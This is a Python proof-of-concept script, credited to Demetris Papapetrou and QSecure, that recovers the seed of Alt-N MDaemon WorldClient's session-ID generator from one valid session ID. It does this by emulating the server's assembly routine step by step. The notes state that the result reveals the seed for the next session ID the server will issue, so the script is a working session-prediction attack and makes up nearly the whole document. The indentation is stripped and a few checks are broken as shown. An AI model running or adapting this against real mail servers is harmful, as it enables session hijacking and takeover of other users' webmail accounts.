#!/usr/bin/python
import sys
"""
Author: Demetris Papapetrou and QSecure
Creation Date: 05/10/2011
Product Affected: Alt-N MDaemon's WorldClient
Purpose: Identify the seed value of the session ID generation process, when provided with a valid session ID.
License
--------
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
NOTES
------
Session ID characters 2-7 are produced by WorldClient using the same method/loop, starting from the 7th and working backwards. During the process ebx is decremented by a variable size. However, when char 2 is produced, ebx contains a value between \x00 - \x0f (most of the times). For each of the 16 hex values that ebx may contain we work backwards and identify the starting ebx value ((seed * 0x08088405) + 1) that was used to produce the session ID characters 2-7. When we get all the 16 ebx values generated, we feed them in the generate_sessionIDs() function to -get the 1st char and- see which one matches our initial/original session ID. If one matches then the ebx value is the seed for the next session ID that WorldClient will generate.
"""
#set to True to become more verbose
dbg = False
def main():
if len(sys.argv) != 2:
print("Usage: seed.py ")
print("Example: seed.py XQFQYNP")
sys.exit(1)
if len(sys.argv[1]) != 7 or sys.argv[1].isalpha == False:
print("Error: The Session ID must consist of 7 alphabetic characters.")
sessionID = sys.argv[1].upper()
for i in range(1, 16):
# x1 = letter + (y * 0x1A) - 0x41
x1 = ord(sessionID[1:2]) + (i * 26) - 65 # use 2nd sid char
x2 = ord(sessionID[2:3]) +(x1 * 26) - 65 # use 3rd sid char
x3 = ord(sessionID[3:4]) +(x2 * 26) - 65 # use 4th sid char
x4 = ord(sessionID[4:5]) +(x3 * 26) - 65 # use 5th sid char
x5 = ord(sessionID[5:6]) +(x4 * 26) - 65 # use 6th sid char
x6 = ord(sessionID[6:7]) +(x5 * 26) - 65 # use 7th sid char
if dbg == True: print("**************************************************************************")
if dbg == True: print("y: " + hex(i) + "\tx1: " + hex(x1) + "\tx2: " + hex(x2) + "\tx3: " + hex(x3))
if dbg == True: print("\t\t\tx4: " + hex(x4) + "\tx5: " + hex(x5) + "\tx6: " + hex(x6))
# sanitize x6 before sending it to the function
# if x6 is of type Long then remove L from the end
seed = hex(x6)
if seed.find('L') != -1:
seed = seed[:-1]
sids = generate_sessionIDs(seed)
if dbg == True: print(sids)
for s in sids:
if s == sessionID:
print("Found valid ID: " + s + "\twith next seed: " + seed)
# Returns a list with the 2 session IDs that are generated by the function
def generate_sessionIDs(ebx):
sessionID = ''
sessionID_1 = ''
sessionID_2 = ''
# -------- MOV EBX,EAX --------
if dbg == True: print("EBX = " + ebx)
if dbg == True: print("------------------------------------------")
for i in range(1,7):
eax = '0x4EC4EC4F'
# -------- MUL EBX -------- (multiplies EAX with EBX and stores the result in EDX:EAX)
tmp2 = int(ebx,16) * int(eax, 16)
if dbg == True: print("MUL EBX\t\t\tEDX:EAX = " + hex(tmp2))
if tmp2 > 4294967295: # > \xFFFFFFFF which means EDX will be > 0
#print("EDX contains data")
edx = hex(tmp2)[2:-9] #convert long int to hex and get the first 8 byte slice. EDX is now a string
if dbg == True: print("\t\t\tEDX = " + edx + "\tEAX = " + hex(tmp2)[-9:-1])
# -------- SHR EDX,3 -------- which means divide EDX by 8
edx = hex(int(edx,16)/8)
if dbg == True: print("SHR EDX,3\t\tEDX/8 = " + edx)
# -------- MOV AL,DL --------
if len(edx[edx.find('x') + 1:]) == 1: #if edx length after 'x' is equal to 1
al = edx[-1:]
else:
al = edx[-2:]
if dbg == True: print("MOV AL,DL\t\tAL = " + al)
else:
#print("EDX is zero")
edx = hex(0)
al = '0'
if dbg == True: print("\t\t\tEDX = " + edx + "AL = " + al)
# -------- IMUL CL -------- which multiplies AL with CL (CL=1A) and stores the result in AX
if len(al) == 1 and ord(al) <= 57: # al's format is "3C" not "0x3C" or "x3C". Hence if "9" or "C" test its ascii code. If it is [0-9] then treat it as decimal
ax = hex(int(al) * int('0x1A',16))
#print("---- AL1 = " + al)
else:
ax = hex(int(al,16) * int('0x1A',16))
#print("---- AL2 = " + al)
if dbg == True: print("IMUL CL\t\t\tAX = " + ax)
# -------- SUB BL,AL --------
if len(ax) < 4: #if len() < 4 then it is 0 becasue 1*1A = 4chars hence no case of 0x3 will exist (no len() = 3 instead of 4)
al = "00"
else:
al = ax[-2:]
if len(ebx[ebx.find('x') + 1:]) == 1: #if ebx's length after 'x' is 1 (e.g. 'x9')
bl = ebx[-1:]
else:
bl = ebx[-2:]
if (int(bl,16) < int(al,16)): #if AL is gt BL the result will be a negative number
bl = hex(256 + (int(bl,16) - int(al,16))) #256 is added to deal with the negative overflow
else:
bl = hex(int(bl,16) - int(al,16))
if dbg == True: print("SUB BL,AL\t\tBL = " + bl)
# -------- ADD BL,41 -------- which adds BL and \x41 (hex 41 = 65 decimal)
bl = hex(int(bl,16) + 65)
if dbg == True: print("ADD BL,41\t\tBL = " + bl)
if len(bl[bl.find('x') + 1:]) > 2: #if bl's length after 'x' is gt 2 then we have an overflow of the register
bl = hex(int(bl[-2:],16))
ascii_char = chr(int(bl,16)).upper()
if dbg == True: print("\t\t\tCHAR = " + ascii_char)
sessionID = ascii_char + sessionID
if dbg == True: print("\t\t\tSessionID: " + sessionID)
# -------- MOV EBX,EDX --------
ebx = edx
if dbg == True: print("\t\t\tEBX = " + ebx)
if dbg == True: print("------------------------------------------")
#The last step is to generate the 1st char of the sessionID
if len(ebx) < 3:
sys.exit()
elif len(ebx) == 3:
# -------- ADD BL,0E --------
# -------- ADD BL,41 -------- which adds to BL: \x41 (hex 41 = 65 decimal) + \x0E (hex 0E = 14 decimal)
bl = hex(int(ebx[-1:],16) + 65 + 14)
if dbg == True: print("ADD BL,0E")
if dbg == True: print("ADD BL,41\t\tBL = " + bl)
ascii_char = chr(int(bl,16)).upper()
if dbg == True: print("\t\t\tCHAR = " + ascii_char)
if (int(bl,16) >= 65 and int(bl,16) <= 90) or (int(bl,16) >= 97 and int(bl,16) <= 122):
sessionID_1 = ascii_char + sessionID
#print("SessionID 1: " + sessionID_1)
# -------- ADD BL,41 -------- which adds BL and \x41 (hex 41 = 65 decimal)
bl = hex(int(ebx[-1:],16) + 65)
if dbg == True: print("ADD BL,41\t\tBL = " + bl)
ascii_char = chr(int(bl,16)).upper()
if dbg == True: print("\t\t\tCHAR = " + ascii_char)
if (int(bl,16) >= 65 and int(bl,16) <= 90) or (int(bl,16) >= 97 and int(bl,16) <= 122):
sessionID_2 = ascii_char + sessionID
#print("SessionID 2: " + sessionID_2)
else:
# -------- ADD BL,0E --------
# -------- ADD BL,41 -------- which adds to BL: \x41 (hex 41 = 65 decimal) + \x0E (hex 0E = 14 decimal)
bl = hex(int(ebx[-2:],16) + 65 + 14)
if dbg == True: print("ADD BL,0E")
if dbg == True: print("ADD BL,41\t\tBL = " + bl)
ascii_char = chr(int(bl,16)).upper()
if dbg == True: print("\t\t\tCHAR = " + ascii_char)
if (int(bl,16) >= 65 and int(bl,16) <= 90) or (int(bl,16) >= 97 and int(bl,16) <= 122):
sessionID_1 = ascii_char + sessionID
#print("SessionID 3: " + sessionID_1)
# -------- ADD BL,41 -------- which adds BL and \x41 (hex 41 = 65 decimal)
bl = hex(int(ebx[-2:],16) + 65)
if dbg == True: print("ADD BL,41\t\tBL = " + bl)
ascii_char = chr(int(bl,16)).upper()
if dbg == True: print("\t\t\tCHAR = " + ascii_char)
if (int(bl,16) >= 65 and int(bl,16) <= 90) or (int(bl,16) >= 97 and int(bl,16) <= 122):
sessionID_2 = ascii_char + sessionID
#print("SessionID 4: " + sessionID_2)
sessionIDs = [sessionID_1, sessionID_2]
return sessionIDs
if __name__ == "__main__":
main()